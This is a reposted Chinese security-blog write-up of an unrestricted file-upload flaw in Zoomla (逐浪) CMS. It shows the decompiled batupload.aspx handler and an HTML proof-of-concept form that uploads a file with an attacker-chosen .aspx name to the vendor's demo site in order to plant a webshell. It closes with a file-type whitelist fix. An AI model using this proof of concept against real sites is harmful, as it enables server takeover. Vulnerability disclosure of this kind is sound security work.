记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

逐浪CMS任意文件类型上传获取webshell

2014-01-11 21:30
没有对上传文件类型进行判断,可直接上传动态脚本获取webshell
 
从官网下载cms代码 在源码目录下的edit目录下batupload.aspx文件
 
通过反编译看到源码如下
 

protected void Page_Load(object sender, EventArgs e)

{

if (!string.IsNullOrEmpty(base.Request.QueryString["case"]))

{

string str = base.Server.UrlDecode(base.Request.QueryString["case"]);

if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str)))

{

Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str));

}

string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/");

base.Response.Clear();

string str3 = base.Request.Params["ID"];

string str4 = "test";

if (!string.IsNullOrEmpty(str3))

{

str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);

}

string str5 = base.Request.Params["DocType"];

str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);

base.Server.UrlDecode(base.Request.Params["content"]);

if (str5 == "")

{

str5 = "doc";

}

str5 = str5.Substring(0, 3);

if (base.Request.Files.Count > 0)

{

HttpPostedFile file = base.Request.Files[0];

int contentLength = file.ContentLength;

byte[] buffer = new byte[contentLength];

file.InputStream.Read(buffer, 0, contentLength);

if (!File.Exists(str2 + str4))

{

using (File.Create(str2 + str4))

{

}

}

File.WriteAllBytes(str2 + str4, buffer);

}

base.Response.ContentType = "text/plain";

base.Response.Write("Complete");

base.Response.Flush();

base.Response.End();

}

}

 

 
 
DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了
上传poc
 

<html>

<head><title>xss</title></head>

<form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data">

<input type="file" name="file" />

<input type="hidden" name="DocTitle" value="111111.aspx" />

<input type="hidden" name="DocType" value="12345" />

<input type="submit" />

</form>

</html>

 

 
 
如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了
 
QQ截图20140102214227.png
修复方案:
对上传文件的类型进行白名单过滤
知识来源: www.2cto.com/Article/201401/271743.html

阅读:100695 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“逐浪CMS任意文件类型上传获取webshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词